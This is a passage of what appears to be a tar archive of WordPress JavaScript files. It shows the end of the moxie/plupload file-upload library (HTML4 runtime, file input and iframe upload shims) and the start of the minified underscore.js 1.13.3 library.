is the visual right-hand side. 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side. 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side. 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top. 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top. 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom. 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom. */ var ctx = _canvas.getContext('2d'); switch (orientation) { case 2: // horizontal flip ctx.translate(width, 0); ctx.scale(-1, 1); break; case 3: // 180 rotate left ctx.translate(width, height); ctx.rotate(Math.PI); break; case 4: // vertical flip ctx.translate(0, height); ctx.scale(1, -1); break; case 5: // vertical flip + 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.scale(1, -1); break; case 6: // 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.translate(0, -height); break; case 7: // horizontal flip + 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.translate(width, -height); ctx.scale(-1, 1); break; case 8: // 90 rotate left ctx.rotate(-0.5 * Math.PI); ctx.translate(-width, 0); break; } } function _purge() { if (_imgInfo) { _imgInfo.purge(); _imgInfo = null; } _binStr = _img = _canvas = _blob = null; _modified = false; } } return (extensions.Image = HTML5Image); }); /** * Stub for moxie/runtime/flash/Runtime * @private */ define("moxie/runtime/flash/Runtime", [ ], function() { return {}; }); /** * Stub for moxie/runtime/silverlight/Runtime * @private */ define("moxie/runtime/silverlight/Runtime", [ ], function() { return {}; }); // Included from: src/javascript/runtime/html4/Runtime.js /** * Runtime.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /*global File:true */ /** Defines constructor for HTML4 runtime. @class moxie/runtime/html4/Runtime @private */ define("moxie/runtime/html4/Runtime", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/runtime/Runtime", "moxie/core/utils/Env" ], function(Basic, x, Runtime, Env) { var type = 'html4', extensions = {}; function Html4Runtime(options) { var I = this , Test = Runtime.capTest , True = Runtime.capTrue ; Runtime.call(this, options, type, { access_binary: Test(window.FileReader || window.File && File.getAsDataURL), access_image_binary: false, display_media: Test(extensions.Image && (Env.can('create_canvas') || Env.can('use_data_uri_over32kb'))), do_cors: false, drag_and_drop: false, filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>=')); }()), resize_image: function() { return extensions.Image && I.can('access_binary') && Env.can('create_canvas'); }, report_upload_progress: false, return_response_headers: false, return_response_type: function(responseType) { if (responseType === 'json' && !!window.JSON) { return true; } return !!~Basic.inArray(responseType, ['text', 'document', '']); }, return_status_code: function(code) { return !Basic.arrayDiff(code, [200, 404]); }, select_file: function() { return Env.can('use_fileinput'); }, select_multiple: false, send_binary_string: false, send_custom_headers: false, send_multipart: true, slice_blob: false, stream_upload: function() { return I.can('select_file'); }, summon_file_dialog: function() { // yeah... some dirty sniffing here... return I.can('select_file') && ( (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) || (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) || (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || !!~Basic.inArray(Env.browser, ['Chrome', 'Safari']) ); }, upload_filesize: True, use_http_method: function(methods) { return !Basic.arrayDiff(methods, ['GET', 'POST']); } }); Basic.extend(this, { init : function() { this.trigger("Init"); }, destroy: (function(destroy) { // extend default destroy method return function() { destroy.call(I); destroy = I = null; }; }(this.destroy)) }); Basic.extend(this.getShim(), extensions); } Runtime.addConstructor(type, Html4Runtime); return extensions; }); // Included from: src/javascript/runtime/html4/file/FileInput.js /** * FileInput.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html4/file/FileInput @private */ define("moxie/runtime/html4/file/FileInput", [ "moxie/runtime/html4/Runtime", "moxie/file/File", "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/utils/Events", "moxie/core/utils/Mime", "moxie/core/utils/Env" ], function(extensions, File, Basic, Dom, Events, Mime, Env) { function FileInput() { var _uid, _mimes = [], _options; function addInput() { var comp = this, I = comp.getRuntime(), shimContainer, browseButton, currForm, form, input, uid; uid = Basic.guid('uid_'); shimContainer = I.getShimContainer(); // we get new ref everytime to avoid memory leaks in IE if (_uid) { // move previous form out of the view currForm = Dom.get(_uid + '_form'); if (currForm) { Basic.extend(currForm.style, { top: '100%' }); } } // build form in DOM, since innerHTML version not able to submit file for some reason form = document.createElement('form'); form.setAttribute('id', uid + '_form'); form.setAttribute('method', 'post'); form.setAttribute('enctype', 'multipart/form-data'); form.setAttribute('encoding', 'multipart/form-data'); Basic.extend(form.style, { overflow: 'hidden', position: 'absolute', top: 0, left: 0, width: '100%', height: '100%' }); input = document.createElement('input'); input.setAttribute('id', uid); input.setAttribute('type', 'file'); input.setAttribute('name', _options.name || 'Filedata'); input.setAttribute('accept', _mimes.join(',')); Basic.extend(input.style, { fontSize: '999px', opacity: 0 }); form.appendChild(input); shimContainer.appendChild(form); // prepare file input to be placed underneath the browse_button element Basic.extend(input.style, { position: 'absolute', top: 0, left: 0, width: '100%', height: '100%' }); if (Env.browser === 'IE' && Env.verComp(Env.version, 10, '<')) { Basic.extend(input.style, { filter : "progid:DXImageTransform.Microsoft.Alpha(opacity=0)" }); } input.onchange = function() { // there should be only one handler for this var file; if (!this.value) { return; } if (this.files) { // check if browser is fresh enough file = this.files[0]; // ignore empty files (IE10 for example hangs if you try to send them via XHR) if (file.size === 0) { form.parentNode.removeChild(form); return; } } else { file = { name: this.value }; } file = new File(I.uid, file); // clear event handler this.onchange = function() {}; addInput.call(comp); comp.files = [file]; // substitute all ids with file uids (consider file.uid read-only - we cannot do it the other way around) input.setAttribute('id', file.uid); form.setAttribute('id', file.uid + '_form'); comp.trigger('change'); input = form = null; }; // route click event to the input if (I.can('summon_file_dialog')) { browseButton = Dom.get(_options.browse_button); Events.removeEvent(browseButton, 'click', comp.uid); Events.addEvent(browseButton, 'click', function(e) { if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file] input.click(); } e.preventDefault(); }, comp.uid); } _uid = uid; shimContainer = currForm = browseButton = null; } Basic.extend(this, { init: function(options) { var comp = this, I = comp.getRuntime(), shimContainer; // figure out accept string _options = options; _mimes = options.accept.mimes || Mime.extList2mimes(options.accept, I.can('filter_by_extension')); shimContainer = I.getShimContainer(); (function() { var browseButton, zIndex, top; browseButton = Dom.get(options.browse_button); // Route click event to the input[type=file] element for browsers that support such behavior if (I.can('summon_file_dialog')) { if (Dom.getStyle(browseButton, 'position') === 'static') { browseButton.style.position = 'relative'; } zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1; browseButton.style.zIndex = zIndex; shimContainer.style.zIndex = zIndex - 1; } /* Since we have to place input[type=file] on top of the browse_button for some browsers, browse_button loses interactivity, so we restore it here */ top = I.can('summon_file_dialog') ? browseButton : shimContainer; Events.addEvent(top, 'mouseover', function() { comp.trigger('mouseenter'); }, comp.uid); Events.addEvent(top, 'mouseout', function() { comp.trigger('mouseleave'); }, comp.uid); Events.addEvent(top, 'mousedown', function() { comp.trigger('mousedown'); }, comp.uid); Events.addEvent(Dom.get(options.container), 'mouseup', function() { comp.trigger('mouseup'); }, comp.uid); browseButton = null; }()); addInput.call(this); shimContainer = null; // trigger ready event asynchronously comp.trigger({ type: 'ready', async: true }); }, disable: function(state) { var input; if ((input = Dom.get(_uid))) { input.disabled = !!state; } }, destroy: function() { var I = this.getRuntime() , shim = I.getShim() , shimContainer = I.getShimContainer() ; Events.removeAllEvents(shimContainer, this.uid); Events.removeAllEvents(_options && Dom.get(_options.container), this.uid); Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid); if (shimContainer) { shimContainer.innerHTML = ''; } shim.removeInstance(this.uid); _uid = _mimes = _options = shimContainer = shim = null; } }); } return (extensions.FileInput = FileInput); }); // Included from: src/javascript/runtime/html4/file/FileReader.js /** * FileReader.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html4/file/FileReader @private */ define("moxie/runtime/html4/file/FileReader", [ "moxie/runtime/html4/Runtime", "moxie/runtime/html5/file/FileReader" ], function(extensions, FileReader) { return (extensions.FileReader = FileReader); }); // Included from: src/javascript/runtime/html4/xhr/XMLHttpRequest.js /** * XMLHttpRequest.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html4/xhr/XMLHttpRequest @private */ define("moxie/runtime/html4/xhr/XMLHttpRequest", [ "moxie/runtime/html4/Runtime", "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/utils/Url", "moxie/core/Exceptions", "moxie/core/utils/Events", "moxie/file/Blob", "moxie/xhr/FormData" ], function(extensions, Basic, Dom, Url, x, Events, Blob, FormData) { function XMLHttpRequest() { var _status, _response, _iframe; function cleanup(cb) { var target = this, uid, form, inputs, i, hasFile = false; if (!_iframe) { return; } uid = _iframe.id.replace(/_iframe$/, ''); form = Dom.get(uid + '_form'); if (form) { inputs = form.getElementsByTagName('input'); i = inputs.length; while (i--) { switch (inputs[i].getAttribute('type')) { case 'hidden': inputs[i].parentNode.removeChild(inputs[i]); break; case 'file': hasFile = true; // flag the case for later break; } } inputs = []; if (!hasFile) { // we need to keep the form for sake of possible retries form.parentNode.removeChild(form); } form = null; } // without timeout, request is marked as canceled (in console) setTimeout(function() { Events.removeEvent(_iframe, 'load', target.uid); if (_iframe.parentNode) { // #382 _iframe.parentNode.removeChild(_iframe); } // check if shim container has any other children, if - not, remove it as well var shimContainer = target.getRuntime().getShimContainer(); if (!shimContainer.children.length) { shimContainer.parentNode.removeChild(shimContainer); } shimContainer = _iframe = null; cb(); }, 1); } Basic.extend(this, { send: function(meta, data) { var target = this, I = target.getRuntime(), uid, form, input, blob; _status = _response = null; function createIframe() { var container = I.getShimContainer() || document.body , temp = document.createElement('div') ; // IE 6 won't be able to set the name using setAttribute or iframe.name temp.innerHTML = '<iframe id="' + uid + '_iframe" name="' + uid + '_iframe" src="javascript:""" style="display:none"></iframe>'; _iframe = temp.firstChild; container.appendChild(_iframe); /* _iframe.onreadystatechange = function() { console.info(_iframe.readyState); };*/ Events.addEvent(_iframe, 'load', function() { // _iframe.onload doesn't work in IE lte 8 var el; try { el = _iframe.contentWindow.document || _iframe.contentDocument || window.frames[_iframe.id].document; // try to detect some standard error pages if (/^4(0[0-9]|1[0-7]|2[2346])\s/.test(el.title)) { // test if title starts with 4xx HTTP error _status = el.title.replace(/^(\d+).*$/, '$1'); } else { _status = 200; // get result _response = Basic.trim(el.body.innerHTML); // we need to fire these at least once target.trigger({ type: 'progress', loaded: _response.length, total: _response.length }); if (blob) { // if we were uploading a file target.trigger({ type: 'uploadprogress', loaded: blob.size || 1025, total: blob.size || 1025 }); } } } catch (ex) { if (Url.hasSameOrigin(meta.url)) { // if response is sent with error code, iframe in IE gets redirected to res://ieframe.dll/http_x.htm // which obviously results to cross domain error (wtf?) _status = 404; } else { cleanup.call(target, function() { target.trigger('error'); }); return; } } cleanup.call(target, function() { target.trigger('load'); }); }, target.uid); } // end createIframe // prepare data to be sent and convert if required if (data instanceof FormData && data.hasBlob()) { blob = data.getBlob(); uid = blob.uid; input = Dom.get(uid); form = Dom.get(uid + '_form'); if (!form) { throw new x.DOMException(x.DOMException.NOT_FOUND_ERR); } } else { uid = Basic.guid('uid_'); form = document.createElement('form'); form.setAttribute('id', uid + '_form'); form.setAttribute('method', meta.method); form.setAttribute('enctype', 'multipart/form-data'); form.setAttribute('encoding', 'multipart/form-data'); I.getShimContainer().appendChild(form); } // set upload target form.setAttribute('target', uid + '_iframe'); if (data instanceof FormData) { data.each(function(value, name) { if (value instanceof Blob) { if (input) { input.setAttribute('name', name); } } else { var hidden = document.createElement('input'); Basic.extend(hidden, { type : 'hidden', name : name, value : value }); // make sure that input[type="file"], if it's there, comes last if (input) { form.insertBefore(hidden, input); } else { form.appendChild(hidden); } } }); } // set destination url form.setAttribute("action", meta.url); createIframe(); form.submit(); target.trigger('loadstart'); }, getStatus: function() { return _status; }, getResponse: function(responseType) { if ('json' === responseType) { // strip off <pre>..</pre> tags that might be enclosing the response if (Basic.typeOf(_response) === 'string' && !!window.JSON) { try { return JSON.parse(_response.replace(/^\s*<pre[^>]*>/, '').replace(/<\/pre>\s*$/, '')); } catch (ex) { return null; } } } else if ('document' === responseType) { } return _response; }, abort: function() { var target = this; if (_iframe && _iframe.contentWindow) { if (_iframe.contentWindow.stop) { // FireFox/Safari/Chrome _iframe.contentWindow.stop(); } else if (_iframe.contentWindow.document.execCommand) { // IE _iframe.contentWindow.document.execCommand('Stop'); } else { _iframe.src = "about:blank"; } } cleanup.call(this, function() { // target.dispatchEvent('readystatechange'); target.dispatchEvent('abort'); }); } }); } return (extensions.XMLHttpRequest = XMLHttpRequest); }); // Included from: src/javascript/runtime/html4/image/Image.js /** * Image.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html4/image/Image @private */ define("moxie/runtime/html4/image/Image", [ "moxie/runtime/html4/Runtime", "moxie/runtime/html5/image/Image" ], function(extensions, Image) { return (extensions.Image = Image); }); expose(["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"]); })(this); /** * o.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /*global moxie:true */ /** Globally exposed namespace with the most frequently used public classes and handy methods. @class o @static @private */ (function(exports) { "use strict"; var o = {}, inArray = exports.moxie.core.utils.Basic.inArray; // directly add some public classes // (we do it dynamically here, since for custom builds we cannot know beforehand what modules were included) (function addAlias(ns) { var name, itemType; for (name in ns) { itemType = typeof(ns[name]); if (itemType === 'object' && !~inArray(name, ['Exceptions', 'Env', 'Mime'])) { addAlias(ns[name]); } else if (itemType === 'function') { o[name] = ns[name]; } } })(exports.moxie); // add some manually o.Env = exports.moxie.core.utils.Env; o.Mime = exports.moxie.core.utils.Mime; o.Exceptions = exports.moxie.core.Exceptions; // expose globally exports.mOxie = o; if (!exports.o) { exports.o = o; } return o; })(this); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/underscore.min.js��������������������������������������������������������������������������������0000644�����������������00000044737�14717703502�0010476 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(n,r){var t,e;"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define("underscore",r):(n="undefined"!=typeof globalThis?globalThis:n||self,t=n._,(e=n._=r()).noConflict=function(){return n._=t,e})}(this,function(){var n="1.13.3",r="object"==typeof self&&self.self===self&&self||"object"==typeof global&&global.global===global&&global||Function("return this")()||{},e=Array.prototype,F=Object.prototype,V="undefined"!=typeof Symbol?Symbol.prototype:null,P=e.push,a=e.slice,s=F.toString,q=F.hasOwnProperty,t="undefined"!=typeof ArrayBuffer,u="undefined"!=typeof DataView,U=Array.isArray,W=Object.keys,z=Object.create,L=t&&ArrayBuffer.isView,$=isNaN,C=isFinite,K=!{toString:null}.propertyIsEnumerable("toString"),J=["valueOf","isPrototypeOf","toString","propertyIsEnumerable","hasOwnProperty","toLocaleString"],G=Math.pow(2,53)-1;function l(u,i){return i=null==i?u.length-1:+i,function(){for(var n=Math.max(arguments.length-i,0),r=Array(n),t=0;t<n;t++)r[t]=arguments[t+i];switch(i){case 0:return u.call(this,r);case 1:return u.call(this,arguments[0],r);case 2:return u.call(this,arguments[0],arguments[1],r)}for(var e=Array(i+1),t=0;t<i;t++)e[t]=arguments[t];return e[i]=r,u.apply(this,e)}}function i(n){var r=typeof n;return"function"==r||"object"==r&&!!n}function H(n){return void 0===n}function Q(n){return!0===n||!1===n||"[object Boolean]"===s.call(n)}function o(n){var r="[object "+n+"]";return function(n){return s.call(n)===r}}var X=o("String"),Y=o("Number"),Z=o("Date"),nn=o("RegExp"),rn=o("Error"),tn=o("Symbol"),en=o("ArrayBuffer"),f=o("Function"),r=r.document&&r.document.childNodes,p=f="function"!=typeof/./&&"object"!=typeof Int8Array&&"function"!=typeof r?function(n){return"function"==typeof n||!1}:f,r=o("Object"),un=u&&r(new DataView(new ArrayBuffer(8))),f="undefined"!=typeof Map&&r(new Map),u=o("DataView");var h=un?function(n){return null!=n&&p(n.getInt8)&&en(n.buffer)}:u,v=U||o("Array");function y(n,r){return null!=n&&q.call(n,r)}var on=o("Arguments"),fn=(!function(){on(arguments)||(on=function(n){return y(n,"callee")})}(),on);function an(n){return Y(n)&&$(n)}function cn(n){return function(){return n}}function ln(r){return function(n){n=r(n);return"number"==typeof n&&0<=n&&n<=G}}function sn(r){return function(n){return null==n?void 0:n[r]}}var d=sn("byteLength"),pn=ln(d),hn=/\[object ((I|Ui)nt(8|16|32)|Float(32|64)|Uint8Clamped|Big(I|Ui)nt64)Array\]/;var vn=t?function(n){return L?L(n)&&!h(n):pn(n)&&hn.test(s.call(n))}:cn(!1),g=sn("length");function yn(n,r){r=function(r){for(var t={},n=r.length,e=0;e<n;++e)t[r[e]]=!0;return{contains:function(n){return!0===t[n]},push:function(n){return t[n]=!0,r.push(n)}}}(r);var t=J.length,e=n.constructor,u=p(e)&&e.prototype||F,i="constructor";for(y(n,i)&&!r.contains(i)&&r.push(i);t--;)(i=J[t])in n&&n[i]!==u[i]&&!r.contains(i)&&r.push(i)}function b(n){if(!i(n))return[];if(W)return W(n);var r,t=[];for(r in n)y(n,r)&&t.push(r);return K&&yn(n,t),t}function dn(n,r){var t=b(r),e=t.length;if(null==n)return!e;for(var u=Object(n),i=0;i<e;i++){var o=t[i];if(r[o]!==u[o]||!(o in u))return!1}return!0}function m(n){return n instanceof m?n:this instanceof m?void(this._wrapped=n):new m(n)}function gn(n){return new Uint8Array(n.buffer||n,n.byteOffset||0,d(n))}m.VERSION=n,m.prototype.valueOf=m.prototype.toJSON=m.prototype.value=function(){return this._wrapped},m.prototype.toString=function(){return String(this._wrapped)};var bn="[object DataView]";function mn(n,r,t,e){if(n===r)return 0!==n||1/n==1/r;if(null==n||null==r)return!1;if(n!=n)return r!=r;var u=typeof n;return("function"==u||"object"==u||"object"==typeof r)&&function n(r,t,e,u){r instanceof m&&(r=r._wrapped);t instanceof m&&(t=t._wrapped);var i=s.call(r);if(i!==s.call(t))return!1;if(un&&"[object Object]"==i&&h(r)){if(!h(t))return!1;i=bn}switch(i){case"[object RegExp]":case"[object String]":return""+r==""+t;case"[object Number]":return+r!=+r?+t!=+t:0==+r?1/+r==1/t:+r==+t;case"[object Date]":case"[object Boolean]":return+r==+t;case"[object Symbol]":return V.valueOf.call(r)===V.valueOf.call(t);case"[object ArrayBuffer]":case bn:return n(gn(r),gn(t),e,u)}i="[object Array]"===i;if(!i&&vn(r)){var o=d(r);if(o!==d(t))return!1;if(r.buffer===t.buffer&&r.byteOffset===t.byteOffset)return!0;i=!0}if(!i){if("object"!=typeof r||"object"!=typeof t)return!1;var o=r.constructor,f=t.constructor;if(o!==f&&!(p(o)&&o instanceof o&&p(f)&&f instanceof f)&&"constructor"in r&&"constructor"in t)return!1}e=e||[];u=u||[];var a=e.length;for(;a--;)if(e[a]===r)return u[a]===t;e.push(r);u.push(t);if(i){if((a=r.length)!==t.length)return!1;for(;a--;)if(!mn(r[a],t[a],e,u))return!1}else{var c,l=b(r);if(a=l.length,b(t).length!==a)return!1;for(;a--;)if(c=l[a],!y(t,c)||!mn(r[c],t[c],e,u))return!1}e.pop();u.pop();return!0}(n,r,t,e)}function c(n){if(!i(n))return[];var r,t=[];for(r in n)t.push(r);return K&&yn(n,t),t}function jn(e){var u=g(e);return function(n){if(null==n)return!1;var r=c(n);if(g(r))return!1;for(var t=0;t<u;t++)if(!p(n[e[t]]))return!1;return e!==wn||!p(n[_n])}}var _n="forEach",r=["clear","delete"],u=["get","has","set"],U=r.concat(_n,u),wn=r.concat(u),t=["add"].concat(r,_n,"has"),u=f?jn(U):o("Map"),r=f?jn(wn):o("WeakMap"),U=f?jn(t):o("Set"),f=o("WeakSet");function j(n){for(var r=b(n),t=r.length,e=Array(t),u=0;u<t;u++)e[u]=n[r[u]];return e}function An(n){for(var r={},t=b(n),e=0,u=t.length;e<u;e++)r[n[t[e]]]=t[e];return r}function xn(n){var r,t=[];for(r in n)p(n[r])&&t.push(r);return t.sort()}function Sn(a,c){return function(n){var r=arguments.length;if(c&&(n=Object(n)),r<2||null==n)return n;for(var t=1;t<r;t++)for(var e=arguments[t],u=a(e),i=u.length,o=0;o<i;o++){var f=u[o];c&&void 0!==n[f]||(n[f]=e[f])}return n}}var On=Sn(c),_=Sn(b),Mn=Sn(c,!0);function En(n){if(!i(n))return{};if(z)return z(n);var r=function(){},n=(r.prototype=n,new r);return r.prototype=null,n}function Bn(n){return v(n)?n:[n]}function w(n){return m.toPath(n)}function Nn(n,r){for(var t=r.length,e=0;e<t;e++){if(null==n)return;n=n[r[e]]}return t?n:void 0}function In(n,r,t){n=Nn(n,w(r));return H(n)?t:n}function Tn(n){return n}function A(r){return r=_({},r),function(n){return dn(n,r)}}function kn(r){return r=w(r),function(n){return Nn(n,r)}}function x(u,i,n){if(void 0===i)return u;switch(null==n?3:n){case 1:return function(n){return u.call(i,n)};case 3:return function(n,r,t){return u.call(i,n,r,t)};case 4:return function(n,r,t,e){return u.call(i,n,r,t,e)}}return function(){return u.apply(i,arguments)}}function Dn(n,r,t){return null==n?Tn:p(n)?x(n,r,t):(i(n)&&!v(n)?A:kn)(n)}function Rn(n,r){return Dn(n,r,1/0)}function S(n,r,t){return m.iteratee!==Rn?m.iteratee(n,r):Dn(n,r,t)}function Fn(){}function Vn(n,r){return null==r&&(r=n,n=0),n+Math.floor(Math.random()*(r-n+1))}m.toPath=Bn,m.iteratee=Rn;var O=Date.now||function(){return(new Date).getTime()};function Pn(r){function t(n){return r[n]}var n="(?:"+b(r).join("|")+")",e=RegExp(n),u=RegExp(n,"g");return function(n){return e.test(n=null==n?"":""+n)?n.replace(u,t):n}}var t={"&":"&","<":"<",">":">",'"':""","'":"'","`":"`"},qn=Pn(t),t=Pn(An(t)),Un=m.templateSettings={evaluate:/<%([\s\S]+?)%>/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g},Wn=/(.)^/,zn={"'":"'","\\":"\\","\r":"r","\n":"n","\u2028":"u2028","\u2029":"u2029"},Ln=/\\|'|\r|\n|\u2028|\u2029/g;function $n(n){return"\\"+zn[n]}var Cn=/^\s*(\w|\$)+\s*$/;var Kn=0;function Jn(n,r,t,e,u){if(!(e instanceof r))return n.apply(t,u);e=En(n.prototype),r=n.apply(e,u);return i(r)?r:e}var M=l(function(u,i){function o(){for(var n=0,r=i.length,t=Array(r),e=0;e<r;e++)t[e]=i[e]===f?arguments[n++]:i[e];for(;n<arguments.length;)t.push(arguments[n++]);return Jn(u,o,this,this,t)}var f=M.placeholder;return o}),Gn=(M.placeholder=m,l(function(r,t,e){if(!p(r))throw new TypeError("Bind must be called on a function");var u=l(function(n){return Jn(r,u,t,this,e.concat(n))});return u})),E=ln(g);function B(n,r,t,e){if(e=e||[],r||0===r){if(r<=0)return e.concat(n)}else r=1/0;for(var u=e.length,i=0,o=g(n);i<o;i++){var f=n[i];if(E(f)&&(v(f)||fn(f)))if(1<r)B(f,r-1,t,e),u=e.length;else for(var a=0,c=f.length;a<c;)e[u++]=f[a++];else t||(e[u++]=f)}return e}var Hn=l(function(n,r){var t=(r=B(r,!1,!1)).length;if(t<1)throw new Error("bindAll must be passed function names");for(;t--;){var e=r[t];n[e]=Gn(n[e],n)}return n});var Qn=l(function(n,r,t){return setTimeout(function(){return n.apply(null,t)},r)}),Xn=M(Qn,m,1);function Yn(n){return function(){return!n.apply(this,arguments)}}function Zn(n,r){var t;return function(){return 0<--n&&(t=r.apply(this,arguments)),n<=1&&(r=null),t}}var nr=M(Zn,2);function rr(n,r,t){r=S(r,t);for(var e,u=b(n),i=0,o=u.length;i<o;i++)if(r(n[e=u[i]],e,n))return e}function tr(i){return function(n,r,t){r=S(r,t);for(var e=g(n),u=0<i?0:e-1;0<=u&&u<e;u+=i)if(r(n[u],u,n))return u;return-1}}var er=tr(1),ur=tr(-1);function ir(n,r,t,e){for(var u=(t=S(t,e,1))(r),i=0,o=g(n);i<o;){var f=Math.floor((i+o)/2);t(n[f])<u?i=f+1:o=f}return i}function or(i,o,f){return function(n,r,t){var e=0,u=g(n);if("number"==typeof t)0<i?e=0<=t?t:Math.max(t+u,e):u=0<=t?Math.min(t+1,u):t+u+1;else if(f&&t&&u)return n[t=f(n,r)]===r?t:-1;if(r!=r)return 0<=(t=o(a.call(n,e,u),an))?t+e:-1;for(t=0<i?e:u-1;0<=t&&t<u;t+=i)if(n[t]===r)return t;return-1}}var fr=or(1,er,ir),ar=or(-1,ur);function cr(n,r,t){r=(E(n)?er:rr)(n,r,t);if(void 0!==r&&-1!==r)return n[r]}function N(n,r,t){if(r=x(r,t),E(n))for(u=0,i=n.length;u<i;u++)r(n[u],u,n);else for(var e=b(n),u=0,i=e.length;u<i;u++)r(n[e[u]],e[u],n);return n}function I(n,r,t){r=S(r,t);for(var e=!E(n)&&b(n),u=(e||n).length,i=Array(u),o=0;o<u;o++){var f=e?e[o]:o;i[o]=r(n[f],f,n)}return i}function lr(p){return function(n,r,t,e){var u=3<=arguments.length,i=n,o=x(r,e,4),f=t,a=!E(i)&&b(i),c=(a||i).length,l=0<p?0:c-1;for(u||(f=i[a?a[l]:l],l+=p);0<=l&&l<c;l+=p){var s=a?a[l]:l;f=o(f,i[s],s,i)}return f}}var sr=lr(1),pr=lr(-1);function T(n,e,r){var u=[];return e=S(e,r),N(n,function(n,r,t){e(n,r,t)&&u.push(n)}),u}function hr(n,r,t){r=S(r,t);for(var e=!E(n)&&b(n),u=(e||n).length,i=0;i<u;i++){var o=e?e[i]:i;if(!r(n[o],o,n))return!1}return!0}function vr(n,r,t){r=S(r,t);for(var e=!E(n)&&b(n),u=(e||n).length,i=0;i<u;i++){var o=e?e[i]:i;if(r(n[o],o,n))return!0}return!1}function k(n,r,t,e){return E(n)||(n=j(n)),0<=fr(n,r,t="number"==typeof t&&!e?t:0)}var yr=l(function(n,t,e){var u,i;return p(t)?i=t:(t=w(t),u=t.slice(0,-1),t=t[t.length-1]),I(n,function(n){var r=i;if(!r){if(null==(n=u&&u.length?Nn(n,u):n))return;r=n[t]}return null==r?r:r.apply(n,e)})});function dr(n,r){return I(n,kn(r))}function gr(n,e,r){var t,u,i=-1/0,o=-1/0;if(null==e||"number"==typeof e&&"object"!=typeof n[0]&&null!=n)for(var f=0,a=(n=E(n)?n:j(n)).length;f<a;f++)null!=(t=n[f])&&i<t&&(i=t);else e=S(e,r),N(n,function(n,r,t){u=e(n,r,t),(o<u||u===-1/0&&i===-1/0)&&(i=n,o=u)});return i}var br=/[^\ud800-\udfff]|[\ud800-\udbff][\udc00-\udfff]|[\ud800-\udfff]/g;function mr(n){return n?v(n)?a.call(n):X(n)?n.match(br):E(n)?I(n,Tn):j(n):[]}function jr(n,r,t){if(null==r||t)return(n=E(n)?n:j(n))[Vn(n.length-1)];for(var e=mr(n),t=g(e),u=(r=Math.max(Math.min(r,t),0),t-1),i=0;i<r;i++){var o=Vn(i,u),f=e[i];e[i]=e[o],e[o]=f}return e.slice(0,r)}function D(i,r){return function(t,e,n){var u=r?[[],[]]:{};return e=S(e,n),N(t,function(n,r){r=e(n,r,t);i(u,n,r)}),u}}var _r=D(function(n,r,t){y(n,t)?n[t].push(r):n[t]=[r]}),wr=D(function(n,r,t){n[t]=r}),Ar=D(function(n,r,t){y(n,t)?n[t]++:n[t]=1}),xr=D(function(n,r,t){n[t?0:1].push(r)},!0);function Sr(n,r,t){return r in t}var Or=l(function(n,r){var t={},e=r[0];if(null==n)return t;p(e)?(1<r.length&&(e=x(e,r[1])),r=c(n)):(e=Sr,r=B(r,!1,!1),n=Object(n));for(var u=0,i=r.length;u<i;u++){var o=r[u],f=n[o];e(f,o,n)&&(t[o]=f)}return t}),Mr=l(function(n,t){var r,e=t[0];return p(e)?(e=Yn(e),1<t.length&&(r=t[1])):(t=I(B(t,!1,!1),String),e=function(n,r){return!k(t,r)}),Or(n,e,r)});function Er(n,r,t){return a.call(n,0,Math.max(0,n.length-(null==r||t?1:r)))}function Br(n,r,t){return null==n||n.length<1?null==r||t?void 0:[]:null==r||t?n[0]:Er(n,n.length-r)}function R(n,r,t){return a.call(n,null==r||t?1:r)}var Nr=l(function(n,r){return 